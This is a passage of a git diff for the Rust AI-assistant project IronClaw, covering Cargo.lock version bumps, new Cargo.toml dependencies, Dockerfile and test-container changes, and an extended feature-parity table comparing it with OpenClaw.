0.221.3", ] +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap 2.13.0", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser 0.244.0", +] + [[package]] name = "witx" version = "0.9.1" @@ -9726,6 +10712,18 @@ dependencies = [ "tap", ] +[[package]] +name = "x509-cert" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1301e935010a701ae5f8655edc0ad17c44bad3ac5ce8c39185f75453b720ae94" +dependencies = [ + "const-oid", + "der", + "spki", + "tls_codec", +] + [[package]] name = "xattr" version = "1.6.1" @@ -9733,7 +10731,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156" dependencies = [ "libc", - "rustix 1.1.3", + "rustix 1.1.4", ] [[package]] @@ -9777,7 +10775,7 @@ checksum = "b659052874eb698efe5b9e8cf382204678a0086ebf46982b79d6ca3182927e5d" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "synstructure", ] @@ -9829,7 +10827,7 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "zvariant_utils", ] @@ -9856,11 +10854,11 @@ dependencies = [ [[package]] name = "zerocopy" -version = "0.8.37" +version = "0.8.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7456cf00f0685ad319c5b1693f291a650eaf345e941d082fc4e03df8a03996ac" +checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a" dependencies = [ - "zerocopy-derive 0.8.37", + "zerocopy-derive 0.8.39", ] [[package]] @@ -9871,18 +10869,18 @@ checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] name = "zerocopy-derive" -version = "0.8.37" +version = "0.8.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1328722bbf2115db7e19d69ebcc15e795719e2d66b60827c6a69a117365e37a0" +checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -9902,7 +10900,7 @@ checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "synstructure", ] @@ -9911,6 +10909,20 @@ name = "zeroize" version = "1.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85a5b4158499876c763cb03bc4e49185d3cccbabb15b33c627f7884f43db852e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] [[package]] name = "zerotrie" @@ -9942,14 +10954,43 @@ checksum = "eadce39539ca5cb3985590102671f2567e659fca9666581ad3411d59207951f3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", +] + +[[package]] +name = "zip" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabe6324e908f85a1c52063ce7aa26b68dcb7eb6dbc83a2d148403c9bc3eba50" +dependencies = [ + "arbitrary", + "crc32fast", + "crossbeam-utils", + "displaydoc", + "flate2", + "indexmap 2.13.0", + "memchr", + "thiserror 2.0.18", + "zopfli", ] [[package]] name = "zmij" -version = "1.0.19" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ff05f8caa9038894637571ae6b9e29466c1f4f829d26c9b28f869a29cbe3445" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" + +[[package]] +name = "zopfli" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f05cd8797d63865425ff89b5c4a48804f35ba0ce8d125800027ad6017d2b5249" +dependencies = [ + "bumpalo", + "crc32fast", + "log", + "simd-adler32", +] [[package]] name = "zstd" @@ -10001,7 +11042,7 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "zvariant_utils", ] @@ -10013,5 +11054,5 @@ checksum = "c51bcff7cc3dbb5055396bcf774748c3dab426b4b8659046963523cee4808340" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] diff --git a/Cargo.toml b/Cargo.toml index 4e76bcf3..081ba4e4 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,15 +1,24 @@ [workspace] -members = [".", "benchmarks"] +members = ["."] exclude = [ + "channels-src/discord", "channels-src/telegram", "channels-src/slack", "channels-src/whatsapp", + "tools-src/github", "tools-src/gmail", + "tools-src/google-calendar", + "tools-src/google-docs", + "tools-src/google-drive", + "tools-src/google-sheets", + "tools-src/google-slides", + "tools-src/slack", + "tools-src/telegram", ] [package] name = "ironclaw" -version = "0.5.0" +version = "0.16.1" edition = "2024" rust-version = "1.92" description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly" @@ -31,7 +40,7 @@ tokio-stream = { version = "0.1", features = ["sync"] } futures = "0.3" # HTTP client -reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "stream"] } +reqwest = { version = "0.12", default-features = false, features = ["json", "multipart", "rustls-tls-native-roots", "stream"] } # Serialization serde = { version = "1", features = ["derive"] } @@ -42,9 +51,12 @@ deadpool-postgres = { version = "0.14", optional = true } tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true } postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true } refinery = { version = "0.8", features = ["tokio-postgres"], optional = true } +tokio-postgres-rustls = { version = "0.13", optional = true } +rustls = { version = "0.23", optional = true, default-features = false } +rustls-native-certs = { version = "0.8", optional = true } # Database - libSQL/Turso (optional embedded database) -libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] } +libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication", "remote", "tls"] } # Error handling thiserror = "2" @@ -59,8 +71,10 @@ dotenvy = "0.15" toml = "0.8" # Core types -uuid = { version = "1", features = ["v4", "serde"] } +uuid = { version = "1", features = ["v4", "v5", "serde"] } chrono = { version = "0.4", features = ["serde"] } +chrono-tz = "0.10" +iana-time-zone = "0.1" rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] } rust_decimal_macros = "1" @@ -72,13 +86,13 @@ clap = { version = "4", features = ["derive", "env"] } # Terminal crossterm = "0.28" -rustyline = { version = "17", features = ["derive", "with-file-history"] } +rustyline = { version = "17", features = ["custom-bindings", "derive", "with-file-history"] } termimad = "0.34" # Channel integrations axum = { version = "0.8", features = ["ws"] } tower = "0.5" -tower-http = { version = "0.6", features = ["trace", "cors"] } +tower-http = { version = "0.6", features = ["trace", "cors", "set-header"] } # Cron scheduling for routines cron = "0.13" @@ -94,6 +108,9 @@ serde_yml = "0.0.12" dirs = "6" fs4 = "0.6" +# Semantic versioning +semver = "1" + # Secrecy for sensitive values secrecy = { version = "0.10", features = ["serde"] } @@ -121,6 +138,7 @@ wasmparser = "0.220" # WASM binary parsing for validation # Cryptography for secrets management aes-gcm = "0.10" hkdf = "0.12" +hmac = "0.12" sha2 = "0.10" blake3 = "1" rand = "0.8" @@ -132,6 +150,14 @@ rig-core = "0.30" # Docker sandbox bollard = "0.18" +# Archive extraction for WASM extension bundles +flate2 = "1" +tar = "0.4" + +# Document text extraction +pdf-extract = "0.7" +zip = { version = "2", default-features = false, features = ["deflate"] } + # HTTP proxy for sandboxed network access hyper = { version = "1.5", features = ["server", "http1", "http2"] } hyper-util = { version = "0.1", features = ["server", "tokio", "http1", "http2"] } @@ -139,6 +165,14 @@ http-body-util = "0.1" bytes = "1" base64 = "0.22.1" mime_guess = "2.0.5" +clap_complete = "4.5.0" +lru = "0.16.3" + +# HTML to Markdown conversion (feature gated) +html-to-markdown-rs = { version = "2.3", optional = true } +readabilityrs = { version = "0.1.2", optional = true } +ed25519-dalek = { version = "2.2.0", features = ["std"] } +hex = "0.4.3" # macOS keychain [target.'cfg(target_os = "macos")'.dependencies] @@ -151,17 +185,22 @@ zbus = "4" [dev-dependencies] tokio-test = "0.4" +tracing-test = "0.2" tokio-tungstenite = "0.26" testcontainers-modules = { version = "0.11", features = ["postgres"] } pretty_assertions = "1" tempfile = "3" +insta = "1.46.3" [features] -default = ["postgres", "libsql"] +default = ["postgres", "libsql", "html-to-markdown"] lancedb = ["dep:lancedb", "dep:arrow-array", "dep:arrow-schema"] postgres = [ "dep:deadpool-postgres", "dep:tokio-postgres", + "dep:tokio-postgres-rustls", + "dep:rustls", + "dep:rustls-native-certs", "dep:postgres-types", "dep:refinery", "dep:pgvector", @@ -169,10 +208,11 @@ postgres = [ ] libsql = ["dep:libsql"] integration = [] +html-to-markdown = ["dep:html-to-markdown-rs", "dep:readabilityrs"] -[[example]] -name = "test_heartbeat" -required-features = ["postgres"] +[[test]] +name = "html_to_markdown" +required-features = ["html-to-markdown"] # The profile that 'cargo dist' will build with [profile.dist] @@ -183,6 +223,8 @@ lto = "thin" [workspace.metadata.dist] # The preferred dist version to use in CI (Cargo.toml SemVer syntax) cargo-dist-version = "0.30.3" +# Ignore out-of-date generated CI so custom release.yml jobs are allowed +allow-dirty = ["ci"] # CI backends to support ci = "github" # The installers to generate for each app diff --git a/Dockerfile b/Dockerfile index 34d4d484..0375e509 100644 --- a/Dockerfile +++ b/Dockerfile @@ -11,17 +11,24 @@ FROM rust:1.92-slim-bookworm AS builder RUN apt-get update && apt-get install -y --no-install-recommends \ pkg-config libssl-dev cmake gcc g++ \ - && rm -rf /var/lib/apt/lists/* + && rm -rf /var/lib/apt/lists/* \ + && rustup target add wasm32-wasip2 \ + && cargo install wasm-tools WORKDIR /app # Copy manifests first for layer caching COPY Cargo.toml Cargo.lock ./ -# Copy source and build artifacts +# Copy source, build script, tests, and supporting directories +COPY build.rs build.rs COPY src/ src/ +COPY tests/ tests/ COPY migrations/ migrations/ +COPY registry/ registry/ +COPY channels-src/ channels-src/ COPY wit/ wit/ +COPY providers.json providers.json RUN cargo build --release --bin ironclaw diff --git a/Dockerfile.test b/Dockerfile.test new file mode 100644 index 00000000..202bd04d --- /dev/null +++ b/Dockerfile.test @@ -0,0 +1,57 @@ +# Lightweight test Dockerfile for IronClaw web gateway testing. +# +# Build: +# docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test . +# +# Run (each on a different port): +# docker run --rm -p 3003:3003 ironclaw-test +# docker run --rm -p 3004:3003 ironclaw-test +# docker run --rm -p 3005:3003 ironclaw-test + +# Stage 1: Build (libsql only — no PostgreSQL dependency) +FROM rust:1.92-slim-bookworm AS builder + +RUN apt-get update && apt-get install -y --no-install-recommends \ + pkg-config libssl-dev cmake gcc g++ \ + && rm -rf /var/lib/apt/lists/* \ + && rustup target add wasm32-wasip2 \ + && cargo install wasm-tools + +WORKDIR /app + +COPY Cargo.toml Cargo.lock ./ +COPY build.rs build.rs +COPY src/ src/ +COPY tests/ tests/ +COPY migrations/ migrations/ +COPY registry/ registry/ +COPY channels-src/ channels-src/ +COPY wit/ wit/ + +RUN cargo build --release --no-default-features --features libsql --bin ironclaw + +# Stage 2: Runtime +FROM debian:bookworm-slim + +RUN apt-get update && apt-get install -y --no-install-recommends \ + ca-certificates libssl3 \ + && rm -rf /var/lib/apt/lists/* + +COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw + +RUN useradd -m -u 1000 -s /bin/bash ironclaw +USER ironclaw +WORKDIR /home/ironclaw + +EXPOSE 3003 + +ENV RUST_LOG=ironclaw=info \ + GATEWAY_ENABLED=true \ + GATEWAY_HOST=0.0.0.0 \ + GATEWAY_PORT=3003 \ + GATEWAY_AUTH_TOKEN=test \ + DATABASE_BACKEND=libsql \ + LIBSQL_PATH=/home/ironclaw/test.db \ + SANDBOX_ENABLED=false + +ENTRYPOINT ["ironclaw", "--no-onboard"] diff --git a/FEATURE_PARITY.md b/FEATURE_PARITY.md index 15a7b955..83d6d65e 100644 --- a/FEATURE_PARITY.md +++ b/FEATURE_PARITY.md @@ -37,7 +37,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Session management/routing | ✅ | ✅ | SessionManager exists | | Configuration hot-reload | ✅ | ❌ | | | Network modes (loopback/LAN/remote) | ✅ | 🚧 | HTTP only | -| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions | +| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions, per-request `model` override | | Canvas hosting | ✅ | ❌ | Agent-driven UI | | Gateway lock (PID-based) | ✅ | ❌ | | | launchd/systemd integration | ✅ | ❌ | | @@ -45,6 +45,13 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Tailscale integration | ✅ | ❌ | | | Health check endpoints | ✅ | ✅ | /api/health + /api/gateway/status | | `doctor` diagnostics | ✅ | ❌ | | +| Agent event broadcast | ✅ | 🚧 | SSE broadcast manager exists (SseManager) but tool/job-state events not fully wired | +| Channel health monitor | ✅ | ❌ | Auto-restart with configurable interval | +| Presence system | ✅ | ❌ | Beacons on connect, system presence for agents | +| Trusted-proxy auth mode | ✅ | ❌ | Header-based auth for reverse proxies | +| APNs push pipeline | ✅ | ❌ | Wake disconnected iOS nodes via push | +| Oversized payload guard | ✅ | 🚧 | HTTP webhook has 64KB body limit + Content-Length check; no chat.history cap | +| Pre-prompt context diagnostics | ✅ | ❌ | Context size logging before prompt | ### Owner: _Unassigned_ @@ -58,23 +65,50 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | HTTP webhook | ✅ | ✅ | - | axum with secret validation | | REPL (simple) | ✅ | ✅ | - | For testing | | WASM channels | ❌ | ✅ | - | IronClaw innovation | -| WhatsApp | ✅ | ❌ | P1 | Baileys (Web) | +| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection | | Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username | -| Discord | ✅ | ❌ | P2 | discord.js | -| Signal | ✅ | ❌ | P2 | signal-cli | +| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance | +| Signal | ✅ | ✅ | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing | | Slack | ✅ | ✅ | - | WASM tool | -| iMessage | ✅ | ❌ | P3 | BlueBubbles recommended | -| Feishu/Lark | ✅ | ❌ | P3 | | +| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended | +| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required | +| Feishu/Lark | ✅ | ❌ | P3 | Bitable create app/field tools | | LINE | ✅ | ❌ | P3 | | | WebChat | ✅ | ✅ | - | Web gateway chat | | Matrix | ✅ | ❌ | P3 | E2EE support | -| Mattermost | ✅ | ❌ | P3 | | +| Mattermost | ✅ | ❌ | P3 | Emoji reactions | | Google Chat | ✅ | ❌ | P3 | | | MS Teams | ✅ | ❌ | P3 | | | Twitch | ✅ | ❌ | P3 | | -| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx | +| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx, stale call reaper, pre-cached greeting | | Nostr | ✅ | ❌ | P3 | | +### Telegram-Specific Features (since Feb 2025) + +| Feature | OpenClaw | IronClaw | Notes | +|---------|----------|----------|-------| +| Forum topic creation | ✅ | ❌ | Create topics in forum groups | +| channel_post support | ✅ | ❌ | Bot-to-bot communication | +| User message reactions | ✅ | ❌ | Surface inbound reactions | +| sendPoll | ✅ | ❌ | Poll creation via agent | +| Cron/heartbeat topic targeting | ✅ | ❌ | Messages land in correct topic | + +### Discord-Specific Features (since Feb 2025) + +| Feature | OpenClaw | IronClaw | Notes | +|---------|----------|----------|-------| +| Forwarded attachment downloads | ✅ | ❌ | Fetch media from forwarded messages | +| Faster reaction state machine | ✅ | ❌ | Watchdog + debounce | +| Thread parent binding inheritance | ✅ | ❌ | Threads inherit parent routing | + +### Slack-Specific Features (since Feb 2025) + +| Feature | OpenClaw | IronClaw | Notes | +|---------|----------|----------|-------| +| Streaming draft replies | ✅ | ❌ | Partial replies via draft message updates | +| Configurable stream modes | ✅ | ❌ | Per-channel stream behavior | +| Thread ownership | ✅ | ❌ | Thread-level ownership tracking | + ### Channel Features | Feature | OpenClaw | IronClaw | Notes | @@ -85,8 +119,11 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Mention-based activation | ✅ | ✅ | bot_username + respond_to_all_group_messages | | Per-group tool policies | ✅ | ❌ | Allow/deny specific tools | | Thread isolation | ✅ | ✅ | Separate sessions per thread | -| Per-channel media limits | ✅ | 🚧 | Caption support for media; no size limits | -| Typing indicators | ✅ | 🚧 | TUI shows status | +| Per-channel media limits | ✅ | ✅ | Attachment type in WIT; max 10 per msg, 20MB total, MIME allowlist | +| Typing indicators | ✅ | 🚧 | TUI + Telegram typing/actionable status prompts; richer parity pending | +| Per-channel ackReaction config | ✅ | ❌ | Customizable acknowledgement reactions | +| Group session priming | ✅ | ❌ | Member roster injected for context | +| Sender_id in trusted metadata | ✅ | ❌ | Exposed in system metadata | ### Owner: _Unassigned_ @@ -104,16 +141,16 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | `config` | ✅ | ✅ | - | Read/write config | | `channels` | ✅ | ❌ | P2 | Channel management | | `models` | ✅ | 🚧 | - | Model selector in TUI | -| `status` | ✅ | ✅ | - | System status | +| `status` | ✅ | ✅ | - | System status (enriched session details) | | `agents` | ✅ | ❌ | P3 | Multi-agent management | -| `sessions` | ✅ | ❌ | P3 | Session listing | +| `sessions` | ✅ | ❌ | P3 | Session listing (shows subagent models) | | `memory` | ✅ | ✅ | - | Memory search CLI | -| `skills` | ✅ | ❌ | P3 | Agent skills | -| `pairing` | ✅ | ✅ | - | list/approve for channel DM pairing | -| `nodes` | ✅ | ❌ | P3 | Device management | +| `skills` | ✅ | ✅ | - | Skills tools + web API endpoints (install, list, activate) | +| `pairing` | ✅ | ✅ | - | list/approve, account selector | +| `nodes` | ✅ | ❌ | P3 | Device management, remove/clear flows | | `plugins` | ✅ | ❌ | P3 | Plugin management | | `hooks` | ✅ | ✅ | P2 | Lifecycle hooks | -| `cron` | ✅ | ❌ | P2 | Scheduled jobs | +| `cron` | ✅ | ❌ | P2 | Scheduled jobs (model/thinking fields in edit) | | `webhooks` | ✅ | ❌ | P3 | Webhook config | | `message send` | ✅ | ❌ | P2 | Send to channels | | `browser` | ✅ | ❌ | P3 | Browser automation | @@ -121,7 +158,9 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | `doctor` | ✅ | ❌ | P2 | Diagnostics | | `logs` | ✅ | ❌ | P3 | Query logs | | `update` | ✅ | ❌ | P3 | Self-update | -| `completion` | ✅ | ❌ | P3 | Shell completion | +| `completion` | ✅ | ✅ | - | Shell completion | +| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat | +| `/export-session` | ✅ | ❌ | P3 | Export current session transcript | ### Owner: _Unassigned_ @@ -138,17 +177,32 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Global sessions | ✅ | ❌ | Optional shared context | | Session pruning | ✅ | ❌ | Auto cleanup old sessions | | Context compaction | ✅ | ✅ | Auto summarization | -| Custom system prompts | ✅ | ✅ | Template variables | -| Skills (modular capabilities) | ✅ | ❌ | Capability bundles | +| Post-compaction read audit | ✅ | ❌ | Layer 3: workspace rules appended to summaries | +| Post-compaction context injection | ✅ | ❌ | Workspace context as system event | +| Custom system prompts | ✅ | ✅ | Template variables, safety guardrails | +| Skills (modular capabilities) | ✅ | ✅ | Prompt-based skills with trust gating, attenuation, activation criteria, catalog, selector | +| Skill routing blocks | ✅ | 🚧 | ActivationCriteria (keywords, patterns, tags) but no "Use when / Don't use when" blocks | +| Skill path compaction | ✅ | ❌ | ~ prefix to reduce prompt tokens | | Thinking modes (low/med/high) | ✅ | ❌ | Configurable reasoning depth | +| Per-model thinkingDefault override | ✅ | ❌ | Override thinking level per model | | Block-level streaming | ✅ | ❌ | | | Tool-level streaming | ✅ | ❌ | | +| Z.AI tool_stream | ✅ | ❌ | Real-time tool call streaming | | Plugin tools | ✅ | ✅ | WASM tools | | Tool policies (allow/deny) | ✅ | ✅ | | | Exec approvals (`/approve`) | ✅ | ✅ | TUI approval overlay | | Elevated mode | ✅ | ❌ | Privileged execution | | Subagent support | ✅ | ✅ | Task framework | +| `/subagents spawn` command | ✅ | ❌ | Spawn from chat | | Auth profiles | ✅ | ❌ | Multiple auth strategies | +| Generic API key rotation | ✅ | ❌ | Rotate keys across providers | +| Stuck loop detection | ✅ | ❌ | Exponential backoff on stuck agent loops | +| llms.txt discovery | ✅ | ❌ | Auto-discover site metadata | +| Multiple images per tool call | ✅ | ❌ | Single tool call, multiple images | +| URL allowlist (web_search/fetch) | ✅ | ❌ | Restrict web tool targets | +| suppressToolErrors config | ✅ | ❌ | Hide tool errors from user | +| Intent-first tool display | ✅ | ❌ | Details and exec summaries | +| Transcript file size in status | ✅ | ❌ | Show size in session status | ### Owner: _Unassigned_ @@ -159,12 +213,22 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Provider | OpenClaw | IronClaw | Priority | Notes | |----------|----------|----------|----------|-------| | NEAR AI | ✅ | ✅ | - | Primary provider | -| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy | +| Anthropic (Claude) | ✅ | 🚧 | - | Via NEAR AI proxy; Opus 4.5, Sonnet 4, Sonnet 4.6 | | OpenAI | ✅ | 🚧 | - | Via NEAR AI proxy | -| AWS Bedrock | ✅ | ❌ | P3 | | -| Google Gemini | ✅ | ❌ | P3 | | -| OpenRouter | ✅ | ❌ | P3 | | +| AWS Bedrock | ✅ | ✅ | P3 | Via `openai_compatible` adapter (e.g. LiteLLM) | +| Google Gemini | ✅ | ✅ | P3 | Via `gemini` adapter | +| io.net | ✅ | ✅ | P3 | Via `ionet` adapter | +| Mistral | ✅ | ✅ | P3 | Via `mistral` adapter | +| Yandex AI Studio | ✅ | ✅ | P3 | Via `yandex` adapter | +| Cloudflare Workers AI | ✅ | ✅ | P3 | Via `cloudflare` adapter | +| NVIDIA API | ✅ | ✅ | P3 | Via `nvidia` adapter and `providers.json` | +| OpenRouter | ✅ | ✅ | - | Via OpenAI-compatible provider (RigAdapter) | +| Tinfoil | ❌ | ✅ | - | Private inference provider (IronClaw-only) | +| OpenAI-compatible | ❌ | ✅ | - | Generic OpenAI-compatible endpoint (RigAdapter) | | Ollama (local) | ✅ | ✅ | - | via `rig::providers::ollama` (full support) | +| Perplexity | ✅ | ❌ | P3 | Freshness parameter for web_search | +| MiniMax | ✅ | ❌ | P3 | Regional endpoint selection | +| GLM-5 | ✅ | ❌ | P3 | | | node-llama-cpp | ✅ | ➖ | - | N/A for Rust | | llama.cpp (native) | ❌ | 🔮 | P3 | Rust bindings | @@ -177,6 +241,8 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Cooldown management | ✅ | ✅ | Lock-free per-provider cooldown in `FailoverProvider` | | Per-session model override | ✅ | ✅ | Model selector in TUI | | Model selection UI | ✅ | ✅ | TUI keyboard shortcut | +| Per-model thinkingDefault | ✅ | ❌ | Override thinking level per model in config | +| 1M context beta header | ✅ | ❌ | Anthropic extended context support | ### Owner: _Unassigned_ @@ -186,16 +252,32 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Feature | OpenClaw | IronClaw | Priority | Notes | |---------|----------|----------|----------|-------| +| WIT inbound-attachment type | N/A | ✅ | P1 | `inbound-attachment` record in channel-host (id, mime_type, filename, size_bytes, source_url, storage_key, extracted_text) | +| WIT outbound attachment type | N/A | ✅ | P1 | `attachment` record in channel (filename, mime_type, data) on `agent-response` | +| WIT on-broadcast export | N/A | ✅ | P1 | Proactive message sending without prior incoming message | +| IncomingMessage attachments | N/A | ✅ | P1 | `IncomingAttachment` struct on `IncomingMessage`, populated from WASM channels | +| OutgoingResponse attachments | N/A | ✅ | P1 | File paths on `OutgoingResponse`, read from disk and sent as WIT attachments | +| Attachment security (size/MIME) | N/A | ✅ | P1 | Inbound: max 10, 20MB total, MIME allowlist. Outbound: 50MB total | +| Telegram media parsing | ✅ | ✅ | P1 | Photo, document, audio, video, voice, sticker parsed and emitted as attachments | +| Telegram media sending | ✅ | ✅ | P1 | sendPhoto/sendDocument multipart upload, auto photo→document fallback >10MB | +| Slack file parsing | ✅ | ✅ | P1 | `files` array from Events API parsed into attachments | +| WhatsApp media parsing | ✅ | ✅ | P1 | Image, audio, video, document parsed with caption as extracted_text | +| Discord attachment parsing | ✅ | ❌ | P2 | Discord interaction payloads don't include file attachments (needs message events) | +| HTTP tool save_to | N/A | ✅ | P1 | Download binary files to /tmp/ for attachment sending (50MB limit, path traversal protection) | +| Credential env var fallback | N/A | ✅ | P2 | Channels can use env vars (e.g., TELEGRAM_BOT_TOKEN) when secrets store not configured | | Image processing (Sharp) | ✅ | ❌ | P2 | Resize, format convert | +| Configurable image resize dims | ✅ | ❌ | P2 | Per-agent dimension config | +| Multiple images per tool call | ✅ | ❌ | P2 | Single tool invocation, multiple images | | Audio transcription | ✅ | ❌ | P2 | | | Video support | ✅ | ❌ | P3 | | | PDF parsing | ✅ | ❌ | P2 | pdfjs-dist | -| MIME detection | ✅ | ❌ | P2 | | +| MIME detection | ✅ | ✅ | P2 | MIME allowlist in host validates attachment types | | Media caching | ✅ | ❌ | P3 | | | Vision model integration | ✅ | ❌ | P2 | Image understanding | | TTS (Edge TTS) | ✅ | ❌ | P3 | Text-to-speech | | TTS (OpenAI) | ✅ | ❌ | P3 | | -| Sticker-to-image | ✅ | ❌ | P3 | Telegram stickers | +| Incremental TTS playback | ✅ | ❌ | P3 | iOS progressive playback | +| Sticker-to-image | ✅ | ✅ | P3 | Telegram stickers emitted as image/webp attachments | ### Owner: _Unassigned_ @@ -213,10 +295,13 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Auth plugins | ✅ | ❌ | | | Memory plugins | ✅ | ❌ | Custom backends | | Tool plugins | ✅ | ✅ | WASM tools | -| Hook plugins | ✅ | ❌ | | +| Hook plugins | ✅ | ✅ | Declarative hooks from extension capabilities | | Provider plugins | ✅ | ❌ | | | Plugin CLI (`install`, `list`) | ✅ | ✅ | `tool` subcommand | | ClawHub registry | ✅ | ❌ | Discovery | +| `before_agent_start` hook | ✅ | ❌ | modelOverride/providerOverride support | +| `before_message_write` hook | ✅ | ❌ | Pre-write message interception | +| `llm_input`/`llm_output` hooks | ✅ | ❌ | LLM payload inspection | ### Owner: _Unassigned_ @@ -235,6 +320,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Legacy migration | ✅ | ➖ | | | State directory | ✅ `~/.openclaw-state/` | ✅ `~/.ironclaw/` | | | Credentials directory | ✅ | ✅ | Session files | +| Full model compat fields in schema | ✅ | ❌ | pi-ai model compat exposed in config | ### Owner: _Unassigned_ @@ -247,16 +333,19 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Vector memory | ✅ | ✅ | pgvector | | Session-based memory | ✅ | ✅ | | | Hybrid search (BM25 + vector) | ✅ | ✅ | RRF algorithm | +| Temporal decay (hybrid search) | ✅ | ❌ | Opt-in time-based scoring factor | +| MMR re-ranking | ✅ | ❌ | Maximal marginal relevance for result diversity | +| LLM-based query expansion | ✅ | ❌ | Expand FTS queries via LLM | | OpenAI embeddings | ✅ | ✅ | | | Gemini embeddings | ✅ | ❌ | | | Local embeddings | ✅ | ❌ | | | SQLite-vec backend | ✅ | ❌ | IronClaw uses PostgreSQL | -| LanceDB backend | ✅ | ✅ | VectorStore + LanceDbVectorStore, DbWithLanceVectorStore wrapper, VECTOR_BACKEND=lancedb | +| LanceDB backend | ✅ | ✅ | VectorStore trait + LanceDbVectorStore (configured via VECTOR_BACKEND=lancedb) | | QMD backend | ✅ | ❌ | | | Atomic reindexing | ✅ | ✅ | | -| Embeddings batching | ✅ | ❌ | | +| Embeddings batching | ✅ | ✅ | `embed_batch` on EmbeddingProvider trait | | Citation support | ✅ | ❌ | | -| Memory CLI commands | ✅ | ❌ | `memory search/index/status` | +| Memory CLI commands | ✅ | ✅ | `memory search/read/write/tree/status` CLI subcommands | | Flexible path structure | ✅ | ✅ | Filesystem-like API | | Identity files (AGENTS.md, etc.) | ✅ | ✅ | | | Daily logs | ✅ | ✅ | | @@ -272,12 +361,16 @@ This document tracks feature parity between IronClaw (Rust implementation) and O |---------|----------|----------|----------|-------| | iOS app (SwiftUI) | ✅ | 🚫 | - | Out of scope initially | | Android app (Kotlin) | ✅ | 🚫 | - | Out of scope initially | +| Apple Watch companion | ✅ | 🚫 | - | Send/receive messages MVP | | Gateway WebSocket client | ✅ | 🚫 | - | | | Camera/photo access | ✅ | 🚫 | - | | | Voice input | ✅ | 🚫 | - | | | Push-to-talk | ✅ | 🚫 | - | | | Location sharing | ✅ | 🚫 | - | | | Node pairing | ✅ | 🚫 | - | | +| APNs push notifications | ✅ | 🚫 | - | Wake disconnected nodes before invoke | +| Share to OpenClaw (iOS) | ✅ | 🚫 | - | iOS share sheet integration | +| Background listening toggle | ✅ | 🚫 | - | iOS background audio | ### Owner: _Unassigned_ (if ever prioritized) @@ -288,12 +381,17 @@ This document tracks feature parity between IronClaw (Rust 